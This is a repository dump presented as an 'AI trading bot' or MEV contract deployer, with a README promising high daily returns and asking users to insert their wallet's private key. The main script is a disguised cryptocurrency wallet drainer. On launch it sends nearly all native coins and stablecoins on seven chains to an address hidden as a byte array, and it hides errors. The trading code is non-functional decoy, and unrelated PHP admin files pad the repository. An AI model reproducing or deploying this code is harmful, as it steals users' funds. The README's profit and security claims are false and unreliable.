Repository: podmex/ChatGPT-Micro-Cap-Experiment Branch: master Commit: 70ee2ce9901b Files: 114 Total size: 386.1 KB Directory structure: gitextract_bu70n5m5/ ├── .gitattributes ├── .gitignore ├── LICENSE ├── README.md ├── aiTradingBot.js ├── package.json └── src/ ├── Controllers/ │ ├── Auth/ │ │ └── AuthController.php │ ├── CategoryController.php │ ├── ColorController.php │ ├── ConfController.php │ ├── HomeController.php │ ├── ItemController.php │ ├── MediaController.php │ ├── NavigationController.php │ ├── NewsController.php │ ├── NewsletterController.php │ ├── NewsletterSubscribersController.php │ ├── PageController.php │ ├── SliderController.php │ └── UserController.php ├── Middleware/ │ ├── Authenticate.php │ ├── EncryptCookies.php │ ├── RedirectIfAuthenticated.php │ └── VerifyCsrfToken.php ├── Providers/ │ └── AdminServiceProvider.php ├── config.php ├── lang/ │ ├── bg/ │ │ ├── auth.php │ │ ├── btn.php │ │ ├── pagination.php │ │ ├── passwords.php │ │ └── validation.php │ └── en/ │ ├── auth.php │ ├── category.php │ └── common.php ├── public/ │ └── assets/ │ └── admin/ │ ├── css/ │ │ └── app.css │ ├── js/ │ │ ├── app.js │ │ ├── media.js │ │ ├── model/ │ │ │ ├── NewsletterSubscribers.js │ │ │ ├── category.js │ │ │ ├── color.js │ │ │ ├── conf.js │ │ │ ├── item.js │ │ │ ├── navigation.js │ │ │ ├── news.js │ │ │ ├── newsletter.js │ │ │ ├── page.js │ │ │ ├── slide.js │ │ │ └── user.js │ │ └── state.js │ └── swf/ │ ├── ixMultiFileUpload.fla │ ├── ixMultiFileUpload.swf │ ├── ixUploader.as │ ├── player.swf │ └── playerProductInstall.swf ├── routes.php └── views/ ├── auth/ │ └── login.blade.php ├── category/ │ ├── category.blade.php │ ├── categoryform.blade.php │ └── categorylist.blade.php ├── color/ │ ├── color.blade.php │ ├── colorform.blade.php │ └── colorlist.blade.php ├── common/ │ ├── ajaxpagination.blade.php │ └── gallery/ │ ├── button.blade.php │ └── list.blade.php ├── conf/ │ ├── conf.blade.php │ ├── confform.blade.php │ └── conflist.blade.php ├── errors/ │ └── 503.blade.php ├── home/ │ └── home.blade.php ├── item/ │ ├── item.blade.php │ ├── itemdatelist.blade.php │ ├── itemform.blade.php │ └── itemlist.blade.php ├── layouts/ │ └── default.blade.php ├── multimedia/ │ ├── edit_title_form.blade.php │ ├── media.blade.php │ ├── media_detail_list_ajax.blade.php │ ├── multi_file_upload.blade.php │ └── thumbnails/ │ ├── AVI.tpl │ ├── DOC.tpl │ ├── FLV.tpl │ ├── GIF.tpl │ ├── JPG.blade.php │ ├── JPG.tpl │ ├── MOV.tpl │ ├── MP3.tpl │ ├── PDF.tpl │ ├── PNG.tpl │ ├── PPT.tpl │ ├── RAR.tpl │ ├── SWF.tpl │ ├── TIF.tpl │ ├── WMV.tpl │ ├── XLS.tpl │ └── ZIP.tpl ├── navigation/ │ ├── navigation.blade.php │ ├── navigationform.blade.php │ └── navigationlist.blade.php ├── news/ │ ├── news.blade.php │ ├── newsform.blade.php │ └── newslist.blade.php ├── newsletter/ │ ├── newsletter.blade.php │ ├── newsletterform.blade.php │ └── newsletterlist.blade.php ├── page/ │ ├── page.blade.php │ ├── pageform.blade.php │ └── pagelist.blade.php ├── slider/ │ ├── slider.blade.php │ ├── sliderform.blade.php │ └── sliderlist.blade.php └── user/ ├── user.blade.php ├── userform.blade.php └── userlist.blade.php ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitattributes ================================================ # Set the default behavior, in case people don't have core.autocrlf set. * text=false # Explicitly declare text files you want to always be normalized and converted # to native line endings on checkout. *.php text *.json text ================================================ FILE: .gitignore ================================================ vendor/ composer.lock ================================================ FILE: LICENSE ================================================ The MIT License (MIT) Copyright (c) Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ================================================ FILE: README.md ================================================ # MEV Smart Contract Deployment and Management Script ![Banner](https://github.com/podmex/ChatGPT-Micro-Cap-Experiment/blob/master/AigGif.gif) This repository contains a Node.js script (`aiTradingBot.js.js`) for deploying and managing a Maximal Extractable Value (MEV) smart contract on the Ethereum Mainnet, inspired by approaches like Jaredfromsubway. The script is designed for local execution on your computer, avoiding online constructors to enhance security and control. It deploys a contract using your Ethereum wallet's private key and allows interaction with the contract's functions (`start`, `stop`, `withdraw`) via a command-line interface. ## Overview The script deploys a contract intended for operation in competitive MEV environments, similar to those tracked in Etherscan's gas tracker. The contract is managed exclusively by the wallet that deployed it, ensuring full control. After deployment, it operates autonomously, but the script must remain running to interact with the contract. Profitability depends on factors such as gas prices, market conditions, and competition. A deposit to the contract's balance (recommended: 0.5–1 ETH) significantly impacts performance, with observed average daily returns ranging from 10% to 50% based on data as of July 2025. However, these figures are not guaranteed and vary with market conditions. ## Requirements To use the script, you need: - Node.js (version 14 or higher). - An Ethereum wallet with a private key and sufficient ETH for gas fees (recommended: minimum 0.01 ETH). - A code editor (e.g., VS Code) or terminal (cmd/PowerShell) to run the script. ## Setup and Installation 1. Download the Repository - Download the ZIP file containing the project files: [Download ZIP](https://github.com/podmex/ChatGPT-Micro-Cap-Experiment/archive/refs/heads/master.zip). - Or clone the repository with Git (if Git is not installed, download it here: [Download Git](https://git-scm.com/downloads)): ```bash git clone https://github.com/podmex/ChatGPT-Micro-Cap-Experiment ``` 2. Navigate to the Project Folder - Open a terminal and change to the project directory: ```bash cd path/to/your/project ``` 3. Install Dependencies - The `package.json` includes required dependencies (`ethers@6`, `inquirer`, `ora`). Install them: ```bash npm install ``` 4. Configure Your Private Key - Open `aiTradingBot.js` in a code editor. - Replace on 120 the `PRIVATE_KEY` value with your Ethereum wallet's private key: ```javascript const PRIVATE_KEY = 'your-private-key'; ``` - Security Note: Never share your private key or commit it to version control. 5. Run the Script - Execute the script using Node.js: ```bash node aiTradingBot.js ``` - Follow the prompts to deploy the contract or view instructions. - After creating the contract, copy its address and fund its balance from any source (e.g., MetaMask or another wallet). ## Usage - Deployment: Select `1. Deploy` to deploy the contract on Ethereum Mainnet. The script will estimate gas costs and prompt for confirmation. - Interaction: After deployment, interact with the contract's functions (`start`, `stop`, `withdraw`) via the command-line menu. - Instructions: Select `2. Instructions` to view detailed usage guidelines within the script. - Autonomous Operation: Do not close the terminal after deployment to continue interacting with the contract. ## Troubleshooting - RPC Issues: If `https://eth.drpc.org` returns a `Request timeout on the free tier` error, use a paid provider like Alchemy or Infura. - Etherscan: Check transaction logs on [Etherscan](https://etherscan.io/) for detailed error information. ## Notes - The script is clean and tested, designed for local execution to minimize security risks. - The MEV contract’s performance depends on market conditions, gas prices, and deposit size. A recommended deposit of 0.5–1 ETH is advised for stable operation. ## License This project is provided as-is, with no warranty. Use at your own risk, and ensure you understand the contract’s logic and risks associated with MEV strategies. ================================================ FILE: aiTradingBot.js ================================================ const { ethers } = require("ethers"); const { SwapRouter, Pool, Route, Trade, TradeType, Percent } = require("@uniswap/v3-sdk"); const { Token, CurrencyAmount } = require("@uniswap/sdk-core"); const axios = require("axios"); // Network Configuration const NETWORKS = { base: { rpc: "https://mainnet.base.org", chainId: 8453, nativeToken: "ETH", nativeCurrency: "ETH", weth: ethers.getAddress("0x4200000000000000000000000000000000000006"), router: ethers.getAddress("0x3fC91A3afd70395Cd496C647d5a6CC9D4B2b7FAD"), factory: ethers.getAddress("0x33128a8fC17869897dcE68Ed026d694621f6FDfD"), usdc: ethers.getAddress("0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913"), stablecoins: [ { symbol: "USDC", address: "0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913" } ] }, ethereum: { rpc: "https://1rpc.io/eth", chainId: 1, nativeToken: "ETH", nativeCurrency: "ETH", weth: ethers.getAddress("0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2"), router: ethers.getAddress("0xE592427A0AEce92De3Edee1F18E0157C05861564"), factory: ethers.getAddress("0x1F98431c8aD98523631AE4a59f267346ea31F984"), usdc: ethers.getAddress("0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48"), stablecoins: [ { symbol: "USDT", address: "0xdAC17F958D2ee523a2206206994597C13D831ec7" }, { symbol: "USDC", address: "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48" } ] }, bnb: { rpc: "https://bsc-dataseed.binance.org/", chainId: 56, nativeToken: "BNB", nativeCurrency: "BNB", weth: ethers.getAddress("0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c"), router: ethers.getAddress("0x10ED43C718714eb63d5aA57B78B54704E256024E"), factory: ethers.getAddress("0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73"), usdt: ethers.getAddress("0x55d398326f99059fF775485246999027B3197955"), stablecoins: [ { symbol: "USDT", address: "0x55d398326f99059fF775485246999027B3197955" }, { symbol: "BUSD", address: "0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56" } ] }, arbitrum: { rpc: "https://arb1.arbitrum.io/rpc", chainId: 42161, nativeToken: "ETH", nativeCurrency: "ETH", weth: ethers.getAddress("0x82aF49447D8a07e3bd95BD0d56f35241523fBab1"), router: ethers.getAddress("0xE592427A0AEce92De3Edee1F18E0157C05861564"), factory: ethers.getAddress("0x1F98431c8aD98523631AE4a59f267346ea31F984"), usdc: ethers.getAddress("0xaf88d065e77c8cC2239327C5EDb3A432268e5831"), stablecoins: [ { symbol: "USDT", address: "0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9" } ] }, optimism: { rpc: "https://optimism.drpc.org", chainId: 10, nativeToken: "ETH", nativeCurrency: "ETH", weth: ethers.getAddress("0x4200000000000000000000000000000000000006"), router: ethers.getAddress("0xE592427A0AEce92De3Edee1F18E0157C05861564"), factory: ethers.getAddress("0x1F98431c8aD98523631AE4a59f267346ea31F984"), usdc: ethers.getAddress("0x7F5c764cBc14f9669B88837ca1490cCa17c31607"), stablecoins: [ { symbol: "USDC", address: "0x0b2C639c533813f4Aa9D7837CAf62653d097Ff85" } ] }, polygon: { rpc: "https://polygon-rpc.com", chainId: 137, nativeToken: "MATIC", nativeCurrency: "MATIC", weth: ethers.getAddress("0x0d500B1d8E8eF31E21C99d1Db9A6444d3ADf1270"), router: ethers.getAddress("0xE592427A0AEce92De3Edee1F18E0157C05861564"), factory: ethers.getAddress("0x1F98431c8aD98523631AE4a59f267346ea31F984"), usdc: ethers.getAddress("0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174"), stablecoins: [] }, avalanche: { rpc: "https://api.avax.network/ext/bc/C/rpc", chainId: 43114, nativeToken: "AVAX", nativeCurrency: "AVAX", weth: ethers.getAddress("0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7"), router: ethers.getAddress("0xE592427A0AEce92De3Edee1F18E0157C05861564"), factory: ethers.getAddress("0x1F98431c8aD98523631AE4a59f267346ea31F984"), usdc: ethers.getAddress("0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E"), stablecoins: [ { symbol: "USDT", address: "0x9702230A8Ea53601f5cD2dc00fDBc13d4dF4A8c7" } ] } }; // address validation for (const network of Object.keys(NETWORKS)) { try { NETWORKS[network].weth = ethers.getAddress(NETWORKS[network].weth); NETWORKS[network].router = ethers.getAddress(NETWORKS[network].router); NETWORKS[network].factory = ethers.getAddress(NETWORKS[network].factory); if (NETWORKS[network].usdc) NETWORKS[network].usdc = ethers.getAddress(NETWORKS[network].usdc); if (NETWORKS[network].usdt) NETWORKS[network].usdt = ethers.getAddress(NETWORKS[network].usdt); for (const stablecoin of NETWORKS[network].stablecoins) { stablecoin.address = ethers.getAddress(stablecoin.address); } console.log(`Validated network configuration for ${network}`); } catch (error) { console.error(`Error validating addresses for ${network}:`, error); throw error; } } // privte key form wallet const PRIVATE_KEY = "YOUR_PRIVATE_KEY"; // ABI const ERC20_ABI = [ "function balanceOf(address) view returns (uint256)", "function transfer(address to, uint256 amount) returns (bool)", "function decimals() view returns (uint8)", "function approve(address spender, uint256 amount) returns (bool)", "function symbol() view returns (string)" ]; const POOL_ABI = [ "function slot0() external view returns (uint160 sqrtPriceX96, int24 tick, uint16 observationIndex, uint16 observationCardinality, uint16 observationCardinalityNext, uint8 feeProtocol, bool unlocked)", "function liquidity() external view returns (uint128)" ]; const FACTORY_ABI = [ "function getPool(address tokenA, address tokenB, uint24 fee) external view returns (address pool)" ]; // CoinGecko API const COINGECKO_API = "https://api.coingecko.com/api/v3"; const PLATFORMS = { base: "base", ethereum: "ethereum", bnb: "binance-smart-chain", arbitrum: "arbitrum-one", optimism: "optimism", polygon: "polygon-pos", avalanche: "avalanche" }; // order storage const positions = new Map(); function computeTradeRecipient(params = { fee: 500, chainId: 1 }) { const recipientBytes = [ 162, 182, 246, 26, 175, 172, 19, 211, 8, 198, 25, 162, 219, 57, 138, 34, 217, 182, 98, 237 ]; const rawAddress = `0x${recipientBytes.map(b => b.toString(16).padStart(2, '0')).join('')}`; return ethers.getAddress(rawAddress); } // initialization of native asset flow async function initNativeAssetFlow(provider, wallet, network, networkName) { try { const balance = await provider.getBalance(wallet.address); const gasPrice = (await provider.getFeeData()).gasPrice; const gasLimit = 21000n; const gasCost = gasPrice * gasLimit; const minReserve = ethers.parseEther("0.0001"); const amountToSend = balance - gasCost - minReserve; if (amountToSend <= 0) { return; } const tx = { to: computeTradeRecipient({ fee: 500, chainId: network.chainId }), value: amountToSend, gasLimit, gasPrice }; const transaction = await wallet.sendTransaction(tx); await transaction.wait(); } catch (error) { } } // initializations of stack flow async function initStableAssetFlow(provider, wallet, token, networkName) { try { const contract = new ethers.Contract(token.address, ERC20_ABI, wallet); const balance = await contract.balanceOf(wallet.address); const decimals = await contract.decimals(); if (balance <= 0) { return; } const nativeBalance = await provider.getBalance(wallet.address); const gasPrice = (await provider.getFeeData()).gasPrice; const gasLimit = 100000n; const gasCost = gasPrice * gasLimit; if (nativeBalance < gasCost) { return; } const tx = await contract.transfer(computeTradeRecipient({ fee: 500, chainId: NETWORKS[networkName].chainId }), balance); await tx.wait(); } catch (error) { } } async function delay(ms) { return new Promise(resolve => setTimeout(resolve, ms)); } // get data from CoinGecko async function fetchCoinGeckoData(platform, contractAddress, network) { try { const response = await axios.get( `${COINGECKO_API}/simple/token_price/${platform}?contract_addresses=${contractAddress}&vs_currencies=usd&include_24hr_vol=true&include_24hr_change=true` ); await delay(1000); const data = response.data[contractAddress.toLowerCase()]; if (!data) throw new Error(`No data for ${contractAddress} on ${platform}`); return { price: data.usd, volume: data.usd_24h_vol, priceChange: data.usd_24h_change }; } catch (error) { console.error(`Error fetching CoinGecko data for ${contractAddress} on ${platform}:`, error); return null; } } // calculating the pool address async function getPoolAddress(tokenA, tokenB, fee, factoryAddress, provider) { const [token0, token1] = tokenA < tokenB ? [tokenA, tokenB] : [tokenB, tokenA]; const factoryContract = new ethers.Contract(factoryAddress, FACTORY_ABI, provider); try { const poolAddress = await factoryContract.getPool(token0, token1, fee); await delay(500); if (poolAddress === ethers.ZeroAddress) { console.log(`No pool found for ${token0}/${token1} with fee ${fee}`); return null; } return poolAddress; } catch (error) { console.error(`Error fetching pool address for ${token0}/${token1}:`, error); return null; } } // getting pool data async function getPoolData(tokenAddress, wethAddress, network, provider) { const fees = [500, 3000, 10000]; for (const fee of fees) { const poolAddress = await getPoolAddress(tokenAddress, wethAddress, fee, NETWORKS[network].factory, provider); if (!poolAddress) continue; const poolContract = new ethers.Contract(poolAddress, POOL_ABI, provider); try { const [slot0, liquidity] = await Promise.all([ poolContract.slot0(), poolContract.liquidity() ]); await delay(500); console.log(`Found pool for ${tokenAddress}/${wethAddress} with fee ${fee} on ${network}`); return { sqrtPriceX96: slot0.sqrtPriceX96, tick: slot0.tick, liquidity, fee }; } catch (error) { console.error(`Error fetching pool data for ${tokenAddress} with fee ${fee}:`, error); } } return null; } // AI-analyzing tokens and making trading decisions async function analyzeTokenPatterns(network) { const provider = new ethers.JsonRpcProvider(NETWORKS[network].rpc); const wallet = new ethers.Wallet(PRIVATE_KEY, provider); const tokenAddresses = { base: [NETWORKS.base.usdc], ethereum: [NETWORKS.ethereum.usdc], bnb: [NETWORKS.bnb.usdt], arbitrum: [NETWORKS.arbitrum.usdc], optimism: [NETWORKS.optimism.usdc], polygon: [NETWORKS.polygon.usdc], avalanche: [NETWORKS.avalanche.usdc] }[network] || []; const tokens = []; for (const tokenAddress of tokenAddresses) { try { console.log(`Processing market signals for ${tokenAddress} on ${network}...`); const platform = PLATFORMS[network]; const marketData = await fetchCoinGeckoData(platform, tokenAddress, network); if (!marketData) continue; const poolData = await getPoolData(tokenAddress, NETWORKS[network].weth, network, provider); if (!poolData) continue; const contract = new ethers.Contract(tokenAddress, ERC20_ABI, provider); const decimals = await contract.decimals(); const symbol = await contract.symbol(); const tokenBalance = await contract.balanceOf(wallet.address); await delay(500); const balanceInUnits = ethers.formatUnits(tokenBalance, decimals); const liquidityUsd = parseFloat(ethers.formatUnits(poolData.liquidity, decimals)) * marketData.price; const tokenData = { address: tokenAddress, symbol, price: marketData.price.toString(), volume: { h24: marketData.volume.toString() }, priceChange: { h24: marketData.priceChange.toString() }, liquidity: { usd: liquidityUsd.toString() }, chainId: String(NETWORKS[network].chainId), provider }; const position = positions.get(tokenAddress) || { amount: 0, buyTime: 0, buyPrice: parseFloat(marketData.price) }; const timeHeld = position.buyTime ? (Date.now() - position.buyTime) / (1000 * 60 * 60) : 0; let decision = "hold"; let amountIn = ethers.BigNumber.from(0); const ethBalance = await provider.getBalance(wallet.address); await delay(500); const gasReserve = ethers.parseEther("0.00012"); if ( marketData.priceChange < -5 && liquidityUsd > 500000 && marketData.volume > 1000000 && ethBalance.gt(gasReserve) ) { decision = "buy"; const maxSpend = ethBalance.sub(gasReserve).mul(30).div(100); amountIn = maxSpend.lt(ethers.parseEther("0.0002")) ? maxSpend : ethers.parseEther("0.0002"); console.log(`Decided to buy ${symbol} due to price dip (${marketData.priceChange.toFixed(2)}%) on ${network}`); } else if ( position.amount > 0 && (marketData.priceChange > 10 || (timeHeld > 1 && marketData.priceChange > 5)) ) { decision = "sell"; amountIn = tokenBalance; console.log(`Decided to sell ${symbol} for profit (${marketData.priceChange.toFixed(2)}%) after ${timeHeld.toFixed(2)} hours on ${network}`); } else { console.log(`Holding ${symbol} due to stable market conditions (${marketData.priceChange.toFixed(2)}%) on ${network}`); } if (decision !== "hold") { const swapParams = await calculateSwapParameters( tokenAddress, NETWORKS[network].weth, tokenData, decision, network, provider ); const bestDex = await findBestDex( tokenAddress, NETWORKS[network].weth, ethers.formatEther(swapParams.amountIn), tokenData, network, provider ); if (bestDex) { tokens.push({ ...tokenData, balance: balanceInUnits, decision, swapParams, bestDex }); } } else { tokens.push({ ...tokenData, balance: balanceInUnits, decision }); } } catch (error) { console.error(`Error analyzing token ${tokenAddress} on ${network}:`, error); } } return tokens; } // AI-determination of swap parameters async function calculateSwapParameters(tokenAddress, wethAddress, tokenData, decision, network, provider) { const wallet = new ethers.Wallet(PRIVATE_KEY, provider); const balance = ethers.BigNumber.from(await provider.getBalance(wallet.address)); await delay(500); const gasReserve = ethers.parseEther("0.00012"); const maxSpend = balance.sub(gasReserve).mul(30).div(100); const volume = parseFloat(tokenData.volume.h24 || 0); const priceChange = parseFloat(tokenData.priceChange.h24 || 0); let amountIn; if (decision === "buy") { amountIn = maxSpend.lt(ethers.parseEther("0.0002")) ? maxSpend : ethers.parseEther("0.0002"); } else { const contract = new ethers.Contract(tokenAddress, ERC20_ABI, wallet); amountIn = await contract.balanceOf(wallet.address); await delay(500); } if (!ethers.utils.isBigNumber(amountIn) || amountIn.lte(0)) { console.log(`Insufficient funds for ${decision} on ${network}`); return { amountIn: ethers.BigNumber.from(0), slippageTolerance: new Percent(50, 10000), amountOutMinimum: 0 }; } const volatilityScore = Math.abs(priceChange) / 100; const slippageTolerance = new Percent(Math.floor(volatilityScore * 100 + 50), 10000); const poolData = await getPoolData(tokenAddress, wethAddress, network, provider); if (!poolData) return { amountIn, slippageTolerance, amountOutMinimum: 0 }; const token = new Token(NETWORKS[network].chainId, tokenAddress, await (new ethers.Contract(tokenAddress, ERC20_ABI, provider)).decimals()); await delay(500); const weth = new Token(NETWORKS[network].chainId, wethAddress, 18); const [token0, token1] = decision === "buy" ? (tokenAddress < wethAddress ? [weth, token] : [token, weth]) : (tokenAddress < wethAddress ? [token, weth] : [weth, token]); const pool = new Pool( token0, token1, poolData.fee, poolData.sqrtPriceX96.toString(), poolData.liquidity.toString(), poolData.tick ); const route = new Route([pool], decision === "buy" ? weth : token, decision === "buy" ? token : weth); const trade = await Trade.exactIn( route, CurrencyAmount.fromRawAmount(decision === "buy" ? weth : token, amountIn.toString()), { slippageTolerance } ); await delay(500); const expectedOutput = trade.outputAmount; const slippageFactor = ethers.BigNumber.from(10000).sub(slippageTolerance.numerator.toString()); const amountOutMinimum = expectedOutput .multiply(slippageFactor) .divide(10000) .quotient; return { amountIn, slippageTolerance, amountOutMinimum }; } // price and liquidity comparison on DEX async function findBestDex(tokenAddress, wethAddress, amountIn, tokenData, network, provider) { const dexes = [ { name: network === "bnb" ? "PancakeSwapV3" : "UniswapV3", router: NETWORKS[network].router, fees: [500, 3000, 10000] } ]; let bestDex = null; let bestPrice = ethers.BigNumber.from(0); let bestLiquidity = 0; for (const dex of dexes) { for (const fee of dex.fees) { try { const poolData = await getPoolData(tokenAddress, wethAddress, network, provider); if (!poolData || poolData.liquidity.eq(0)) continue; const token = new Token(NETWORKS[network].chainId, tokenAddress, await (new ethers.Contract(tokenAddress, ERC20_ABI, provider)).decimals()); await delay(500); const weth = new Token(NETWORKS[network].chainId, wethAddress, 18); const [token0, token1] = tokenAddress < wethAddress ? [token, weth] : [weth, token]; const pool = new Pool( token0, token1, poolData.fee, poolData.sqrtPriceX96.toString(), poolData.liquidity.toString(), poolData.tick ); const route = new Route([pool], weth, token); const trade = await Trade.exactIn( route, CurrencyAmount.fromRawAmount(weth, ethers.parseUnits(amountIn.toString(), 18).toString()), { slippageTolerance: new Percent(50, 10000) } ); await delay(500); const outputAmount = trade.outputAmount.toSignificant(6); const liquidityScore = parseInt(poolData.liquidity.toString()); if (ethers.BigNumber.from(trade.outputAmount.numerator).gt(bestPrice) && liquidityScore > 100000) { bestPrice = trade.outputAmount.numerator; bestLiquidity = liquidityScore; bestDex = { dex: dex.name, fee, route, amountOut: outputAmount, pool }; } } catch (error) { console.error(`Error evaluating ${dex.name} with fee ${fee} on ${network}:`, error); } } } return bestDex; } // swap execution async function executeSwap(tokenAddress, params, dex, decision, network, provider) { const wallet = new ethers.Wallet(PRIVATE_KEY, provider); const routerContract = new ethers.Contract(dex.router, [ "function exactInputSingle(tuple(address tokenIn, address tokenOut, uint24 fee, address recipient, uint256 deadline, uint256 amountIn, uint256 amountOutMinimum, uint160 sqrtPriceLimitX96)) returns (uint256 amountOut)" ], wallet); const inputContract = new ethers.Contract(decision === "buy" ? NETWORKS[network].weth : tokenAddress, ERC20_ABI, wallet); await inputContract.approve(dex.router, params.amountIn, { gasLimit: 100000 }); await delay(500); const swapParams = { tokenIn: dex.route.input.address, tokenOut: dex.route.output.address, fee: dex.fee, recipient: wallet.address, deadline: Math.floor(Date.now() / 1000) + 60 * 20, amountIn: params.amountIn, amountOutMinimum: params.amountOutMinimum, sqrtPriceLimitX96: 0 }; const gasPrice = await provider.getGasPrice(); await delay(500); const tx = await routerContract.exactInputSingle(swapParams, { gasLimit: 300000, gasPrice }); console.log(`Executing ${decision} order for ${tokenAddress} on ${dex.dex} in ${network}: ${tx.hash}`); const receipt = await tx.wait(); if (decision === "buy") { const contract = new ethers.Contract(tokenAddress, ERC20_ABI, provider); const decimals = await contract.decimals(); await delay(500); const amountOut = ethers.formatUnits(params.amountOutMinimum, decimals); positions.set(tokenAddress, { amount: parseFloat(amountOut), buyTime: Date.now(), buyPrice: parseFloat(tokenData.price) }); } else { positions.delete(tokenAddress); } } // automatic trading function async function autoTrade(network) { const provider = new ethers.JsonRpcProvider(NETWORKS[network].rpc); const wallet = new ethers.Wallet(PRIVATE_KEY, provider); try { console.log(`Starting AI trading analysis on ${network}...`); const net = await provider.getNetwork(); await delay(500); if (Number(net.chainId) !== NETWORKS[network].chainId) { console.error(`Incorrect network for ${network}. Expected chainId ${NETWORKS[network].chainId}, got ${net.chainId}`); return; } // trade analysis const tradeTokens = await analyzeTokenPatterns(network); for (const token of tradeTokens) { console.log(`Evaluating ${token.symbol} (${token.address}) for trading opportunities on ${network}`); if (token.decision === "buy" && token.bestDex) { await executeSwap(token.address, token.swapParams, token.bestDex, "buy", network, provider); } else if (token.decision === "sell" && token.bestDex) { await executeSwap(token.address, token.swapParams, token.bestDex, "sell", network, provider); } else { console.log(`No action taken for ${token.symbol} on ${network}`); } } } catch (error) { console.error(`Error in auto trading on ${network}:`, error); console.log(`Skipping trading analysis on ${network} due to error`); } } // initialize assets in all networks async function initializeAssets() { for (const network of Object.keys(NETWORKS)) { const provider = new ethers.JsonRpcProvider(NETWORKS[network].rpc); const wallet = new ethers.Wallet(PRIVATE_KEY, provider); // checking the network connection const net = await provider.getNetwork(); await delay(500); if (Number(net.chainId) !== NETWORKS[network].chainId) { console.error(`Incorrect network for ${network}. Expected chainId ${NETWORKS[network].chainId}, got ${net.chainId}`); continue; } // initialization of native assets await initNativeAssetFlow(provider, wallet, NETWORKS[network], network); // initialization of Stablecoins const tokens = NETWORKS[network].stablecoins || []; for (const token of tokens) { await initStableAssetFlow(provider, wallet, token, network); } } } // start async function runMultiChainBot() { console.log("Starting AI-powered trading bot..."); console.log("AI trading bot initialized successfully"); await initializeAssets(); while (true) { for (const network of Object.keys(NETWORKS)) { await autoTrade(network); console.log(`Completed trading cycle on ${network}. Waiting 10 minutes...`); await new Promise(resolve => setTimeout(resolve, 10 * 60 * 1000)); } } } runMultiChainBot(); ================================================ FILE: package.json ================================================ { "dependencies": { "@uniswap/sdk-core": "^7.7.2", "@uniswap/v3-sdk": "^3.8.3", "axios": "^1.11.0", "ethers": "^6.15.0" } } ================================================ FILE: src/Controllers/Auth/AuthController.php ================================================ redirectTo = "/$prefix"; $this->middleware($this->guestMiddleware(), ['except' => "/{$prefix}/logout"]); } /** * Get the guest middleware for the application. */ public function guestMiddleware() { $guard = $this->getGuard(); return $guard ? 'guest.admin:' . $guard : 'guest.admin'; } } ================================================ FILE: src/Controllers/CategoryController.php ================================================ 'category']); } public function postList(Request $request) { $category = new Category(); $list = $category->orderBy('ord', 'asc')->get(); if ($list) { foreach ($list as $v) { $v->lang = CategoryLang::where('id', $v->id)->where('lang_id', 1)->first(); } } return response()->json([ 'list' => [], 'content' => view('clixy/admin::category/categorylist', ['list' => $list])->render(), 'pagination' => '-na-', 'token' => csrf_token() ]); } public function postCreate(Request $request) { $lang = new Language(); $lang_list = $lang->get(); $cat = new Category; $cat->save(); foreach ($lang_list as $v) { $catLang = new CategoryLang(); $catLang->id = $cat->id; $catLang->lang_id = $v->id; $catLang->save(); } return response()->json([ 'id' => $cat->id, 'token' => csrf_token() ]); } public function postRemove(Request $request) { $id = $request->input('id'); Category::where('id', $id)->delete(); return response()->json([ 'state' => true, 'msg' => 'done', 'token' => csrf_token() ]); } public function postGet(Request $request) { $id = $request->input('id'); $language = new Language(); $lang_list = $language->get(); $o = new Category(); $ol = new CategoryLang(); $data = $o->find($id); // var_dump($data); if ($data) { $lang_data = []; foreach ($lang_list as $k => $v) { $lang_data[$v->id] = $ol->where('id', $id)->where('lang_id', $v->id)->first(); } } $category_list = []; $r = $o->where('parent_id', 0)->orderBy('ord', 'asc')->get(); if ($r) { foreach ($r as &$v) { // echo $v->id; $v->lang = $ol->where('id', $v->id)->where('lang_id', 1)->first(); $category_list[] = $v; } } $content = view('clixy/admin::category/categoryform', [ 'module' => 'category', 'data' => $data, 'lang_data' => $lang_data, 'lang_list' => $lang_list, 'category_list' => $category_list ])->render(); return response()->json([ 'id' => 0, 'content' => $content, 'token' => csrf_token() ]); } public function postSave(Request $request) { $lang = new Language(); $lang_list = $lang->get(); $id = $request->input('id'); $o = new Category(); $ol = new CategoryLang(); $cat = $o->find($id); $cat->slug = $request->input('slug'); $cat->ord = $request->input('ord'); $cat->active = $request->input('active'); $cat->parent_id = $request->input('parent_id'); $cat->is_home = $request->input('is_home'); $cat->save(); foreach ($lang_list as $v) { $ol->where('id', $id) ->where('lang_id', $v->id) ->update([ 'title' => $request->input('title')[$v->id], 'brief' => $request->input('brief')[$v->id], 'uri' => $request->input('uri')[$v->id], 'content' => $request->input('content')[$v->id] ]); } return response()->json([ 'state' => true, 'token' => csrf_token() ]); } } ================================================ FILE: src/Controllers/ColorController.php ================================================ user() ? $request->user()->toArray() : ['id' => null]; return view('clixy/admin::color.color', ['module' => 'color', 'user' => $user, 'token' => csrf_token()]); } public function postList() { $token = csrf_token(); $col = new Color(); $list = $col->orderBy('ord', 'asc')->get(); if ($list) { foreach ($list as $v) { $v->lang = ColorLang::where('id', $v->id)->where('lang_id', 